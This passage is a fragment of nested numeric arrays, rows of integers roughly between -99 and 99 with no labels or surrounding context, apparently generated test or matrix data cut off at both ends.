,-58,24,13,76,-24,40,74,92,13,53,63,27,59,36,62,-24,10,-8,20,73,-24,44,16,89],[-69,81,-56,65,-72,-88,51,-54,12,-36,98,87,-96,72,56,-6,3,20,97,-38,-67,59,14,19,-48,-66,-7,27,54,-91,-7,85,66,36,27,70,24,-45,-84,-86,18,-85,-99,-1,63,57,92,-34,-46,66,4,-14,26,-82,-95,54,-48,-26,-42,82,-18,50,44,-74,-37,-51,95,63,3,-88,76,-78,-97,54,20,65,-12,-11,-91,41,-45,12,-96,57,30,84,11,58,-41,45,40,17,-5,-38,42,34,10,38,-2,-87,26,-26,-89,5,-72,7,-30,15,72,-45,-67,-95,67,-87,61,-26,74,-50,-68,-67,94,48,26,-33,86,-54,-99,-4,60,-2,-14,-14,49,-27,90,76,80,-63,-31,52,-8,-22,56,-64,-32,-5,9,-58,21,40,-26,-8,-35,76,58,-48,98],[59,24,58,-43,-90,-79,-94,-17,87,59,-60,-75,-95,68,-7,-41,25,28,26,96,-63,67,17,53,-82,-91,94,94,44,-77,69,3,47,28,36,33,48,19,-84,36,-45,-68,37,-41,-99,-70,17,2,34,-56,-2,47,87,91,0,-94,76,-29,76,-3,-6,45,99,-59,-27,13,50,98,-68,43,11,-14,74,-52,21,74,-46,-85,-24,64,-65,50,11,-77,18,87,-95,-28,-42,80,68,28,2,45,45,52,-42,-4,50,-34,-61,-62,28,89,-15,-51,64,15,-60,-83,-44,-25,44,66,-26,-61,30,-22,10,64,-42,-44,-7,59,-99,-85,11,-42,-13,-62,23,25,-25,-72,-8,36,-24,-67,-72,-8,-74,-17,66,69,-74,-60,-91,55,17,-5,20,51,50,89,-12,50,-96,75],[84,-32,-86,-16,69,-35,11,-39,-98,63,-7,-71,-44,19,-11,98,-35,14,-61,-50,-30,32,45,66,-16,-5,55,71,-77,35,46,-93,-97,36,-9,72,-98,78,-90,79,42,3,84,74,98,-27,72,-37,87,87,13,-66,20,-42,99,80,29,31,28,51,-57,-49,35,-77,87,-74,94,65,80,-96,44,22,-17,5,-27,-19,78,-54,44,42,-67,-66,52,29,-9,28,9,96,-41,-63,48,-22,-12,-40,0,-25,-38,-29,-83,-58,-48,60,41,34,-58,-86,92,96,-64,36,38,-31,46,-33,97,-63,94,7,-90,-70,20,34,8,-92,93,-92,-41,-45,-21,-25,-3,7,-88,-62,-59,-46,-72,-67,-50,-36,45,65,32,-9,-91,6,4,-96,89,14,-67,10,-52,17,-6,-58,2,53,-4],[80,-95,69,-36,-83,-93,4,-53,-65,14,-27,-2,-41,-62,-93,50,-53,-11,-69,-73,-21,44,-64,65,69,53,-41,-89,-45,88,-17,-88,93,-47,-25,-90,-64,78,-67,-53,-8,5,21,28,20,27,-45,66,-83,-15,69,-28,-93,-95,-86,75,57,-28,62,-88,-62,-55,99,-69,-26,-26,-83,10,-70,-51,56,-2,53,-45,-74,-50,81,-20,-84,74,42,61,-77,48,66,-64,23,23,-15,-15,12,22,29,11,52,80,62,45,-33,91,70,-77,-11,0,-46,15,50,-64,71,65,86,13,27,-90,-39,-30,-78,60,69,6,-55,-19,-72,51,69,56,31,31,1,97,22,-29,96,-89,71,-49,2,21,-37,-49,-37,-74,63,66,-65,-98,-64,-66,61,-94,39,-93,-37,67,34,-68,23,-35,39,-98],[-61,-39,-51,-88,-51,-80,-61,27,17,1,77,57,27,41,0,38,19,36,71,-20,18,-12,-37,57,-45,96,66,54,-62,5,32,-47,43,81,-35,91,77,3,-5,-28,81,-27,-71,-15,90,28,-77,9,-59,71,88,35,-41,-48,-30,-10,-75,-64,-79,-37,17,53,15,-40,11,56,-72,-35,-40,23,36,-59,95,41,2,85,-53,24,-6,-13,-28,-41,99,7,-13,-31,73,-11,-19,71,28,97,1,-80,-42,-88,76,-15,-24,-87,84,89,-70,79,30,31,41,76,-68,-88,-59,4,-52,-60,87,34,-15,38,99,65,9,27,62,-90,47,96,-79,23,-41,-27,35,-57,-38,64,99,69,-5,40,45,26,29,62,-93,76,-98,71,-13,-37,9,-13,-72,-82,-86,67,-73,60,63,-76,-40,-78,-27],[94,-58,12,35,-59,-19,-70,57,-97,33,-14,65,16,-61,43,-13,3,83,95,89,-89,89,79,54,-84,17,18,-84,76,16,-34,48,57,77,-17,74,-65,-10,9,-63,99,94,78,15,-89,-1,-97,13,-18,74,-21,-31,64,-42,-76,56,51,18,49,28,-66,-85,-24,68,91,35,42,-74,-98,-49,-61,-99,-77,94,16,-90,-30,-5,-1,51,-54,77,96,86,-88,-80,43,63,37,-31,-32,48,-17,43,16,-49,-45,-65,-47,-43,-37,-9,-43,-38,-38,49,-29,31,-79,69,-41,-33,23,-44,-47,34,-48,72,-26,66,-59,41,14,0,-39,-93,50,16,-82,-97,49,-20,-29,-94,18,9,32,88,-82,52,34,-24,95,-66,8,-51,68,60,-79,-81,26,-61,60,-83,38,-79,-77,-34,13,-60,-55,-38],[-3,-8,-32,-85,-98,76,80,-81,28,-9,-29,24,25,79,49,-30,16,46,-12,-81,84,-52,-65,0,-54,-66,42,58,-50,86,-79,23,-44,-35,38,-66,-59,-5,-71,45,85,-1,-31,10,-45,94,56,70,41,-55,65,2,-31,99,78,14,-90,20,-50,-63,-16,-30,59,39,11,-3,72,51,68,-99,-27,54,-1,19,-59,31,13,97,1,-46,-81,-33,33,-36,-57,11,55,-70,-91,-95,-34,-8,-49,-75,-69,61,-1,-97,-11,-33,79,61,97,-45,-20,-61,85,70,-87,-36,-99,-92,7,33,-29,49,-78,-74,55,-70,-93,-79,21,-43,-77,28,94,21,7,-17,64,-14,-78,62,40,-22,77,3,-52,66,66,-74,73,-27,58,-56,98,56,-53,54,85,-47,51,-17,-13,73,-89,-19,-6,17,41,-41,-97],[39,97,20,-83,74,99,-58,40,65,-33,-10,-85,-98,10,89,58,56,43,43,86,-28,-73,-27,-55,-86,30,16,31,-29,74,10,86,48,-93,-96,-1,-94,-78,-84,70,-12,5,61,-34,-85,51,-76,48,-29,44,34,42,47,83,87,60,-10,3,-9,38,-46,-98,24,78,-92,27,-23,-86,25,-8,60,89,73,22,-44,87,-50,-21,12,20,99,-77,-37,46,-94,-73,7,-27,6,74,-89,36,52,34,14,60,-61,90,50,63,-41,-13,53,-91,85,-91,95,-65,-36,-15,32,-59,7,71,86,-10,97,-7,62,-20,-55,72,-84,96,6,29,33,44,-4,-40,-15,31,47,-62,39,9,-77,11,44,-37,95,-24,3,-20,-53,-33,69,-79,36,8,0,80,-43,15,77,62,-79,10,-16,16,70,45,-76,-6],[59,62,-97,81,-27,23,-79,-54,98,1,25,-78,67,-6,-81,3,78,-5,-16,-65,86,-62,73,-93,47,-66,-1,-6,78,22,87,37,-16,90,-5,34,13,-7,79,-11,93,4,-13,37,74,-17,-60,29,77,0,63,64,14,13,47,-61,47,-53,32,2,68,20,-60,-70,-13,11,40,76,80,19,-35,73,99,29,-13,50,-88,4,-21,65,80,-58,29,-5,54,-23,33,-22,0,-35,80,-55,61,96,-26,-52,-16,90,-98,-35,9,-57,-85,-15,71,2,-65,59,-94,13,25,85,31,-46,-43,-14,7,89,63,-93,-68,20,-48,92,16,2,-82,-99,-7,-81,-35,78,-39,-21,-36,-90,57,-25,68,39,88,-30,2,19,1,58,81,-92,48,22,91,79,-58,-80,48,35,21,65,35,90,60,76,46,98,-68],[86,84,66,-39,52,5,-51,99,-93,45,0,65,3,7,-10,-75,-25,-31,-56,-6,93,55,92,36,-33,59,-4,-57,5,-29,-49,-9,-45,-83,52,84,-1,77,83,5,-1,-17,-53,-97,66,36,-96,-81,81,-76,12,75,78,-19,11,-55,-59,83,-36,45,-68,-8,-86,-14,-15,65,-53,83,19,-93,-11,-81,-11,12,97,-67,-51,-99,-72,-70,-98,39,81,79,97,-8,-98,-62,-47,-58,59,-16,33,72,46,-81,14,93,-98,-66,99,-33,-71,-34,79,-74,-25,-72,-97,2,-66,-96,-82,-84,60,-85,-16,61,-71,13,-97,65,96,13,14,20,31,-94,-10,32,-84,-34,76,-56,8,55,-54,82,59,-52,-39,69,-71,-21,61,65,-30,-54,26,-24,58,5,-82,32,94,8,-71,25,13,18,-65,28,83,-89,48,-31],[42,93,-49,-22,-81,-11,-76,-76,44,85,88,90,-69,-9,-34,65,95,-40,-26,67,68,2,-8,-42,96,3,86,57,13,11,-74,-68,5,-47,-14,0,41,10,23,-15,-5,11,-24,2,-98,18,-56,73,55,18,40,23,96,-67,57,93,35,20,27,-74,-68,52,-66,36,-95,-3,-87,46,-93,35,-92,-22,-54,-17,79,-76,78,99,96,33,17,14,-67,-9,23,89,-39,-65,10,87,-40,41,16,-29,-46,20,67,-34,-57,50,77,-49,-72,-77,10,83,-54,-12,82,-81,-79,-23,32,-70,44,-45,-80,-95,-10,6,68,26,-53,-16,73,-23,-96,40,19,-76,-33,-4,-26,-6,-5,83,-46,17,-51,-63,35,-54,-10,-55,-24,-66,-1,-28,-62,65,77,82,-8,-99,-34,-58,-23,-54,82,95,-31,-74,-32,19,20,62,-20],[50,-21,28,86,90,50,-24,-65,-74,9,11,-3,23,-24,-26,5,44,-49,47,86,27,93,45,-1,-61,47,43,58,-56,5,-85,94,60,42,80,51,-31,-66,62,-5,19,-27,68,-57,26,-80,24,-53,-30,-28,-90,74,-58,31,-50,-20,-21,93,-85,22,-25,-71,16,-64,47,-26,63,-83,-16,25,-12,-97,75,-44,-55,-22,-48,69,1,22,-82,11,-27,-41,-81,22,38,-3,-8,53,96,67,58,-11,79,6,39,42,22,-77,-56,-90,-74,95,-58,-53,-27,-6,92,74,92,-90,-38,-58,-32,-20,40,83,54,-67,13,50,99,-29,-84,55,76,55,-3,-25,77,17,-39,79,13,3,-73,62,73,-81,13,42,-71,51,83,-27,-68,23,-44,62,32,68,-11,31,-83,4,-14,92,-64,59,-32,-86,-46,28,92,66,-92,95],[5,80,-85,95,-1,-57,46,-18,-8,77,82,48,16,14,-7,-95,-77,9,9,-15,-21,44,-78,23,34,-25,-72,4,-82,-64,-1,22,92,13,17,-31,32,-59,50,-75,94,9,49,11,-76,-81,15,-54,28,-99,30,83,45,28,6,-44,-97,10,59,-80,45,-64,19,15,25,-87,83,-42,-47,10,-41,-52,-80,84,58,-80,-97,-50,-35,7,-49,71,-10,72,0,72,-72,-21,-17,64,-1,-95,99,-82,-4,24,-70,-21,58,-40,66,-83,7,62,77,-58,81,80,-9,-77,-13,18,70,54,-10,-53,26,18,26,-91,-18,-75,90,-42,-81,-14,81,-75,42,40,-16,8,33,67,-53,11,-91,-72,-32,-23,-73,54,94,96,-15,-15,-56,-88,79,69,96,-62,70,86,-5,65,-27,-47,89,91,69,-26,-1,3,-82,45,90,-73,49],[-42,3,75,-88,-26,71,-26,35,91,-15,14,37,-42,51,-16,-78,-77,-51,-29,-24,-84,-38,-55,-34,37,24,-17,-41,14,9,84,71,88,59,60,-60,7,-66,74,-24,-5,-11,-87,29,-83,-3,50,-83,22,97,-8,37,-41,13,-97,72,-85,-14,-69,28,71,-85,-23,37,50,-86,76,-65,-53,50,10,18,-84,-1,-76,-90,72,51,-74,-5,48,-6,-91,84,-93,-88,56,-79,-26,64,26,-55,55,-97,58,6,92,34,40,-84,-38,-73,33,-46,25,33,-37,-2,-16,-12,92,-67,81,-99,-83,65,88,49,62,-38,13,-12,-16,-54,-33,-81,51,-41,53,-32,-26,91,-6,83,-55,-81,17,8,-7,-99,72,-38,-90,54,-60,-97,19,-72,52,-19,-33,-58,46,27,-13,-87,45,-62,-51,-25,-18,22,-34,52,-17,-12,48,99,72,-59],[76,44,3,86,-2,42,88,93,46,17,-25,-87,59,97,16,-54,86,-61,-39,-65,13,42,34,56,-28,-83,-56,-80,92,-84,-40,45,59,62,31,-65,-19,-3,-72,-72,-86,-21,-83,72,-24,10,95,-37,48,-67,-26,-39,51,-92,-83,-77,-99,-63,-58,69,-71,2,15,65,-59,-77,99,22,19,-96,26,10,-17,42,-41,35,-71,-46,74,76,-14,-51,-62,-62,-67,-69,-63,-66,-55,-21,79,-27,80,-6,-62,-79,17,-86,19,-87,-82,-55,22,-23,64,81,88,92,-88,63,69,-25,88,83,-11,97,-86,25,-92,-65,-96,87,8,60,-19,45,81,74,36,-23,87,53,22,-14,-70,-37,-56,-82,-45,-44,57,-99,7,22,60,72,20,51,-3,27,85,-22,14,-7,-62,72,-84,95,46,51,-27,33,-19,71,96,-13,-66,-60,-19,-35,-5],[-61,-57,78,60,-97,50,-43,30,-75,84,16,2,-2,85,16,-30,-99,12,93,28,61,3,-91,9,-1,-5,19,39,76,60,-89,91,79,89,28,59,16,85,-11,40,69,-95,-81,-56,67,35,-9,67,-76,-16,-27,61,86,-19,-30,-14,53,65,-98,6,25,-88,-3,5,77,-75,-36,-6,86,52,-89,55,34,-70,76,1,64,-33,-55,64,27,17,25,13,75,71,75,5,36,53,-89,-39,42,-16,42,19,8,-94,89,-5,35,-99,-73,-54,-93,-97,23,70,-54,44,11,72,-61,-64,-14,90,83,-62,-5,19,91,-18,56,33,65,-1,-71,-27,-19,-81,44,92,95,48,-85,-98,50,37,48,96,-41,-64,68,-3,-52,-69,-13,-69,-54,81,26,-86,-37,-18,46,-95,57,51,-23,-84,46,98,84,41,46,99,19,-27,13,-56,-31,71],[-21,-85,-55,26,-78,31,56,-33,-11,-18,-43,28,41,79,32,-25,31,86,-33,-23,84,-48,95,7,-72,-9,79,17,35,-74,-34,90,-83,10,17,-85,-58,-50,-18,7,9,15,-64,-73,-5,44,1,-74,30,68,-21,-9,96,-49,97,-76,42,54,17,-46,79,82,-79,72,-7,37,86,11,64,-55,94,-50,60,-70,-24,-45,74,53,-20,-19,-2,35,72,-6,86,69,-6,5,23,88,58,-21,70,55,-49,-60,-30,-62,27,-66,-41,22,-17,-81,51,35,-27,2,-35,29,83,63,-58,55,-66,-72,1,5,9,-98,-7,-56,-20,-60,98,8,-20,-32,22,-93,1,80,28,60,99,-43,-28,-51,35,37,55,-5,-23,73,-73,10,-99,28,91,-14,29,-16,29,85,24,27,-7,80,95,91,86,-27,72,-8,-89,48,25,-18,73,-63,95,5,32],[-28,-22,58,59,-45,-37,50,40,68,-88,-31,54,12,73,-76,-8,45,-84,-45,-82,87,23,-95,12,-52,-36,-15,-15,-41,90,93,8,-55,51,-33,0,91,93,-83,59,-95,-14,-10,16,-64,14,84,80,6,-60,74,-30,62,79,81,87,-80,-57,-51,-22,-90,-58,62,-45,69,-71,31,60,99,47,-3,-96,-90,86,-3,-55,-23,-19,-98,82,20,76,-48,-40,32,-67,-76,51,-47,-51,-94,-38,-10,68,-7,-64,73,-76,73,72,48,-30,76,57,-67,-27,79,10,30,80,-8,-72,56,21,-13,-35,30,-13,-84,82,35,-78,-78,-98,89,14,-63,39,15,86,12,-37,-67,-35,96,-34,14,75,75,-56,56,-56,-29,-11,64,34,31,-5,-79,46,-46,32,44,-25,33,10,66,47,-50,-42,33,38,20,66,-97,-7,-91,16,-31,60,36,-98,-96,-92],[-33,45,18,97,-83,39,21,-30,-52,-35,22,81,52,-35,28,78,22,-62,16,-58,80,18,11,88,-89,79,48,46,57,29,53,-75,-49,-51,98,-33,87,-4,13,-88,38,-88,92,-10,-24,-3,-32,97,35,83,-84,15,-22,27,-19,-12,6,-71,-66,-59,34,64,-58,84,-87,-60,-49,76,13,41,87,-49,52,57,17,-71,-46,84,-97,65,44,-81,-19,98,45,61,-14,-72,66,-4,-55,1,-63,-14,-15,-51,3,13,-98,-84,-46,89,-57,82,23,59,87,76,43,90,42,-36,85,99,-38,30,37,24,34,-20,96,79,80,-66,-35,-57,-18,44,32,-39,59,85,-73,-98,44,49,37,32,2,-43,-1,-79,20,-16,96,58,-86,33,-41,24,90,-44,-20,47,-11,22,89,47,-34,21,-92,-97,-17,-66,80,-95,59,18,36,-38,74,-65,-18,-5,18],[-21,-70,8,88,-11,-91,55,21,-11,3,-90,-89,-8,33,-24,90,18,-22,-50,28,-64,-46,-12,53,66,26,27,-99,-92,98,-5,-37,-94,79,-71,-29,88,83,91,-46,-14,77,-36,55,-13,16,22,-95,71,71,33,-93,-97,97,59,68,23,-37,46,7,-38,-59,70,-33,97,75,37,62,58,5,-84,-78,-41,-44,53,45,71,-25,50,42,-77,-17,48,-75,-20,-16,93,-97,47,39,9,85,56,-44,-48,30,-69,65,-8,66,-53,-16,64,5,39,17,-50,11,91,99,-47,-86,-41,78,-84,15,-38,-91,-6,85,24,-96,70,-43,-64,98,87,-56,63,-44,86,86,40,50,-9,-44,-33,41,66,-65,17,96,-75,76,51,-60,-32,-87,-75,62,75,25,65,45,82,77,44,46,97,-16,78,83,-29,-5,33,61,51,76,-21,17,-89,73,-10,-87,49,-59],[-48,-83,-69,-23,55,-94,78,20,50,37,-25,-6,-17,-28,78,-61,-44,-51,33,65,86,-39,42,-57,55,29,-84,-55,41,41,-14,93,34,-7,-53,-10,-2,-75,86,-75,62,-39,19,-78,10,-26,-63,65,-1,70,7,-38,-92,-51,4,62,55,19,-92,-4,-63,-30,-34,71,62,-11,-39,-63,-9,-53,-39,-70,-15,56,-72,94,-93,-35,36,-18,-88,-57,44,-81,-31,-75,58,-99,21,65,-27,57,-88,16,5,50,-95,65,86,-28,89,-76,-22,-26,57,6,-55,63,47,80,-77,35,99,66,30,-55,67,-12,-55,-12,-70,18,-77,-59,-66,27,90,-85,-30,53,-36,-41,54,41,9,11,-76,53,-49,47,10,-27,-18,-14,-84,89,31,60,-23,52,-75,7,-53,-53,24,-20,74,-8,-28,-79,-55,12,-21,98,-70,87,-14,-46,17,14,77,-96,63,-63,-11,56,-74],[96,16,-21,49,40,85,72,87,-13,-47,38,78,1,35,-77,89,-86,98,-81,77,-39,-51,-29,74,-73,-26,38,-37,39,-6,-35,36,86,43,-38,26,6,-66,-10,92,-37,-95,70,40,39,69,29,29,44,48,-17,-94,96,53,79,99,-73,-6,-61,43,64,3,-21,50,-76,17,-46,29,27,20,21,67,2,-32,7,-82,-63,-86,47,81,38,-70,63,11,83,19,11,86,-86,49,29,54,-70,84,-18,-47,-22,12,81,82,-68,-21,49,10,23,-67,28,36,-54,-25,-6,83,-19,-43,-5,-59,76,82,-95,66,8,10,20,37,-5,78,89,49,-10,47,31,-1,-97,-20,-91,25,-10,13,-38,35,64,55,-4,-54,89,67,-37,65,49,-33,31,-43,77,-72,71,-51,83,60,74,-50,-15,6,48,-36,62,34,89,-48,-53,-72,64,88,59,-63,-66,48,-96,-27],[-10,52,40,-79,85,-6,-74,56,19,85,-6,-7,-65,55,75,60,-81,15,-29,84,66,-6,-88,7,-18,71,43,-8,-4,46,65,86,-25,-18,83,-62,52,85,70,-29,70,-36,40,82,95,16,42,-85,-69,-87,98,73,-17,87,-42,65,58,-99,-43,-69,24,-78,-83,98,-20,-99,-87,-68,85,83,2,33,-76,-80,15,-80,12,-43,-89,42,-54,85,-8,28,72,49,-30,7,27,27,38,-49,25,54,-74,82,54,-61,-86,17,-78,-7,-50,-78,12,64,-59,-76,97,-72,42,-57,-86,-89,47,85,60,94,-7,-13,-2,-69,14,99,61,39,81,16,77,95,-90,75,-35,-41,97,53,-77,-85,53,96,-57,-5,-84,-67,-18,62,-82,-58,33,-13,5,-69,-6,95,-69,-44,35,-88,48,12,83,57,-35,-75,-84,-61,77,-85,-47,30,-89,-28,-98,-74,-19,-16,64,-1,2],[-2,62,84,5,-43,79,35,12,14,24,-63,-96,-16,93,-32,9,-91,6,-14,99,35,-83,-90,84,94,-65,-35,-22,75,40,80,-27,3,41,78,36,20,-10,-75,-65,-86,-39,-85,-2,-46,-41,83,-61,64,-31,-62,-24,-38,-76,-40,-43,-42,25,11,-90,-58,-32,-40,44,-91,-62,-43,29,4,-19,40,-5,18,54,69,71,-87,52,86,53,-79,-76,-71,-40,-53,-34,16,-19,67,-73,-9,-91,-28,50,30,-20,64,86,-91,-32,-55,48,39,62,-21,8,11,-9,-40,-3,-79,-19,21,-73,40,44,-8,-67,-74,-64,-64,-7,-79,7,-80,50,87,83,14,72,-72,35,-2,67,-26,76,-25,84,-55,35,-18,-35,92,79,-9,9,0,59,18,25,94,53,94,-84,-39,-86,42,-75,73,-67,96,-98,67,-6,45,-58,-52,96,-97,-8,31,-39,33,0,-60,-98,85,40,37,3],[-58,9,-43,-63,1,-6,-73,-57,18,-99,-47,-9,78,-80,62,23,-62,-90,19,-82,-22,-72,-22,87,4,18,88,-10,-65,26,92,-47,-88,-74,-34,12,19,-7,31,-86,-30,83,5,-52,80,-33,70,94,-47,-34,-88,30,-30,-10,17,74,84,-17,-59,-81,85,-67,-29,96,-41,14,8,54,-93,-61,68,-24,99,-50,0,79,-7,-53,73,45,12,62,-48,82,-48,68,33,-64,-72,73,-69,-87,82,-22,85,-59,91,-7,72,74,9,17,-73,-15,66,26,-36,-41,72,-86,-96,-15,52,-45,-56,-96,99,53,-84,-72,26,-77,-83,8,-22,-97,26,-31,-28,-25,-79,57,91,-53,-58,57,73,-18,-84,22,-27,95,83,-75,-73,-73,-94,-97,56,-79,-93,-18,-79,-76,67,-2,-97,-30,66,-26,44,63,-68,12,-89,-50,-31,60,32,-39,-18,-95,-67,-34,-71,-41,-31,-66,-62,-74,-68],[-55,-16,-48,-32,-72,49,-53,-3,-8,20,-82,-44,28,6,-57,78,74,-97,-13,-88,-39,-9,-79,26,-4,-21,72,30,-6,97,38,38,-19,89,82,-14,15,-71,82,-93,25,77,-61,-69,-17,-42,85,-65,-40,-28,-77,-2,62,-56,-76,-65,-1,95,64,92,69,2,30,-72,-32,-11,13,82,17,-28,66,-80,-51,81,-50,9,-60,-65,20,-24,-17,42,73,-78,85,74,-44,-38,46,-79,-46,16,-1,61,20,44,-50,-67,3,67,4,-54,63,30,-72,-87,-84,-56,-76,35,19,6,-46,-30,27,-83,-56,82,-22,89,79,8,-18,-44,-31,-98,99,19,-89,-21,-37,-8,25,-74,-78,29,-85,-86,72,-62,48,-32,43,78,37,-30,94,57,-71,-28,24,-91,80,82,-36,-51,84,-37,44,71,41,83,-37,-57,85,-16,71,99,-26,20,-63,-78,88,56,-99,2,-74,71,-40,-45,-56,60],[-37,-99,42,3,-74,3,42,70,-25,-40,30,37,3,16,98,-49,15,-28,71,29,-29,36,-15,-52,-62,-12,-81,-26,42,-38,-66,81,-61,76,-39,-35,-21,-97,-88,30,-38,41,-32,64,-66,-57,-84,49,14,63,-45,84,-1,39,-68,36,-73,-72,87,45,-34,-79,3,5,73,63,69,-70,65,80,59,-95,-2,-96,68,32,-54,60,-42,37,23,12,21,98,-72,30,35,-45,34,22,76,99,19,-20,4,-7,-80,-50,22,62,-93,-42,66,5,-38,11,-86,-16,-51,-29,-79,48,59,19,47,86,-74,-41,-82,59,80,94,58,-24,-49,-60,68,-30,-11,-33,-91,-4,2,74,-99,40,-37,-86,-76,11,-39,-78,-41,-80,40,82,-94,65,-59,-76,24,97,94,-41,-26,-55,-2,-81,-9,87,-37,0,-17,64,-26,-40,-19,13,-50,4,-76,-13,2,-40,6,-58,-58,-12,83,-17,11,7,-43],[5,43,30,26,-59,26,-82,-95,88,17,-36,29,67,0,86,-42,49,-33,-19,-64,69,17,18,-89,59,-93,94,-81,-6,-22,-25,76,-79,82,2,-61,-15,-4,-80,-27,89,-16,78,34,83,64,91,10,-92,-28,22,76,66,-59,87,25,-76,58,20,17,-64,71,-30,-66,30,72,-51,-85,-55,-32,-36,-65,28,-81,68,12,59,36,-78,67,84,20,43,50,60,30,-25,83,-12,71,-22,1,20,47,11,-50,-4,36,-35,41,80,28,52,9,24,-3,97,-17,-67,95,-50,-83,15,93,67,-24,0,-81,-64,65,90,13,-34,-13,-62,53,36,33,-11,-99,-49,-31,6,-97,54,-70,-1,51,12,31,46,39,25,-38,32,-8,14,-68,-13,26,96,-46,-60,-61,40,-46,68,-23,86,-66,-46,-62,-20,59,-83,-66,65,-7,62,-45,-76,8,93,25,46,2,-83,-63,33,4,63,7,57,79],[22,-25,-67,-9,51,-81,24,-95,-67,-96,41,-73,-85,-17,19,76,37,19,-39,7,-55,84,-91,-62,-79,42,18,83,-74,-47,62,47,27,71,-62,-22,67,39,-41,99,19,99,-97,10,-40,21,-14,96,-82,24,-19,-38,8,-11,-24,28,-92,94,-11,-67,-53,-72,57,50,99,94,-72,66,10,-37,42,-70,-37,45,39,22,-57,-97,-5,-63,3,75,-25,-89,-58,51,15,-51,22,80,-41,45,-91,-84,-5,84,86,-1,27,-3,61,-31,3,-99,90,-81,22,-89,97,94,-53,0,46,22,-13,87,-27,79,-86,71,59,-28,16,44,-36,-89,5,-50,9,-68,46,-53,1,-74,-52,-32,-78,46,-22,-81,40,2,-4,-36,-76,82,-49,-27,61,-59,-56,-2,12,59,-81,52,46,24,-97,-68,55,25,-22,-67,51,25,1,72,-28,78,67,88,-43,-37,-48,-20,-54,-20,29,83,20,72,-19,-90,8],[-23,61,-69,-99,40,-38,55,-34,17,88,93,-58,-34,42,-10,-79,9,-44,-22,72,7,57,94,63,-13,54,-39,-64,-87,-30,21,-11,-92,51,-11,25,-86,-79,90,7,85,60,48,-49,2,-84,-28,87,-29,49,36,54,-17,30,18,46,-38,78,82,-26,-75,3,62,-91,-69,-49,33,-79,-29,0,27,-43,-40,-47,-16,38,-32,55,26,15,-19,-38,-31,41,69,86,-13,-69,41,-54,-19,65,25,-57,51,56,-7,-16,76,40,84,4,73,-79,33,-42,59,-99,89,-15,15,-29,23,60,-88,-31,47,-25,-24,-35,21,56,-92,-54,98,58,78,-32,-58,55,85,-97,-64,58,-76,68,92,82,45,82,-56,-63,-70,43,96,-82,-87,20,-31,-35,85,89,-78,92,-87,96,50,90,-58,68,45,-73,48,57,61,71,25,31,30,-53,-10,73,-17,-4,-7,-20,13,-18,99,81,47,84,48,45,53,60],[18,-20,27,59,-51,-50,62,96,-93,1,44,9,-68,-26,55,-2,-76,-61,93,-7,-5,-17,75,-6,-59,22,-44,65,-33,85,25,61,-34,-70,21,-9,-21,-40,-36,-38,60,-92,70,68,-42,3,-57,-42,18,-64,50,-87,-5,25,-17,36,-76,38,1,-33,24,-96,-71,66,-90,26,-43,-12,85,20,26,23,4,-26,-32,38,76,11,72,-29,23,22,-17,95,-75,65,8,-52,-19,85,15,81,65,20,47,74,-54,80,-61,-92,-23,65,30,57,-61,75,-5,91,-14,-33,-38,85,65,44,80,89,-14,-35,-85,43,-49,6,24,-84,-74,-52,90,-52,-95,-94,-45,-19,70,85,-62,-91,60,9,99,-77,52,-39,84,-5,81,42,-39,-32,-93,-25,87,-66,57,12,-50,82,36,-83,-93,41,-78,-38,98,92,-53,-63,77,83,22,54,82,-48,-85,66,46,73,8,-93,-82,-8,-41,-95,25,-84,-7,51,75],[-70,67,81,47,66,-57,45,35,-34,58,-11,-74,-19,-57,-92,32,-65,51,-45,-92,-64,-39,-98,27,19,-94,-70,12,-24,80,-13,5,25,-55,-48,-9,-35,73,-97,30,32,-9,33,89,34,40,21,45,-32,75,52,4,-87,30,-92,9,35,-63,-79,-89,94,-16,-8,19,5,20,86,69,-6,65,-23,-97,-44,-90,91,66,26,12,11,94,-36,-60,-25,-47,69,-18,61,-18,-4,58,-31,-10,-58,61,85,47,-42,48,-7,51,13,69,53,68,55,44,12,-18,-67,99,-47,-27,-60,4,3,85,85,-36,-33,-42,-77,36,47,-59,-26,9,64,31,-43,-65,-40,69,-96,89,15,36,11,-96,-82,20,-97,-53,93,-81,50,-4,-95,12,36,-52,70,35,60,-6,53,-66,-96,-6,65,-63,28,-98,83,32,90,-25,-32,1,-22,-38,-78,-20,-15,91,-24,-88,-36,-20,23,99,4,-30,12,-35,64,-35,-2,44],[58,-60,80,-13,-82,63,95,-91,-62,-60,-14,-8,-22,-16,49,62,-25,-75,73,15,-19,-27,-8,84,43,-96,-51,-16,-32,24,-72,-97,40,84,-11,58,25,-39,66,39,0,-71,-68,77,13,80,16,87,81,-34,-20,-38,39,71,-54,-18,74,-28,65,-81,95,69,-79,35,53,-13,-30,-22,24,-64,94,-75,-35,-74,78,54,82,-5,18,63,60,97,-98,-24,68,-53,57,19,-5,-1,37,-10,-32,35,-97,98,-78,-28,-47,45,-15,-53,46,26,-28,2,-20,-69,73,97,70,10,95,71,86,40,-81,20,-40,-10,-80,96,80,-36,31,59,-38,29,-92,15,-48,-31,38,97,94,87,-24,-49,-82,-51,-51,88,59,-79,59,45,60,54,-58,96,-55,-39,93,-98,2,1,37,40,-92,44,-45,-41,90,70,-67,84,57,9,-87,74,57,-39,39,-7,-42,-1,-85,94,-70,-43,91,-26,-6,61,-48,95,-38,88,36],[-54,10,67,4,0,37,37,-39,-6,-77,-27,-54,56,10,84,-73,44,-17,-59,16,-10,-3,7,40,68,-55,92,63,6,57,-24,29,-56,-56,-67,20,57,46,58,-48,68,-92,-3,2,-5,-19,28,-61,41,45,54,-69,-57,-62,47,-89,-18,39,50,65,-26,-73,-6,-6,-53,3,-85,-96,-50,72,-45,94,56,28,-27,-49,86,-99,-33,4,46,97,11,65,-64,-42,52,-6,74,-21,-41,-75,5,29,18,51,-67,32,55,-18,-19,86,-47,-62,-8,26,-35,-45,26,31,58,-51,29,-54,90,41,3,42,-65,-46,-78,-29,-22,3,76,96,-45,-91,5,86,-33,86,49,20,-99,-82,-77,-35,-28,48,73,-93,74,-21,-48,64,96,55,-16,-92,-91,-18,-45,-36,84,-68,-40,-84,-60,64,78,-16,27,28,80,27,45,-97,69,94,27,19,-99,1,74,-47,-57,70,84,26,77,69,-92,-90,-67,68,-59,-8,84,-43],[-66,62,40,60,-33,20,-35,-87,22,-89,83,-50,29,83,27,-20,-64,46,-50,-80,-28,-96,66,-44,-87,98,-75,-47,-32,85,-13,1,47,-73,-62,-85,24,2,-96,-77,-11,86,-51,94,46,76,-26,82,22,23,78,71,4,44,-96,16,20,-95,46,87,66,-67,-35,14,-64,2,5,36,81,-15,59,-30,-52,-92,-58,93,60,15,52,-40,-61,8,-92,19,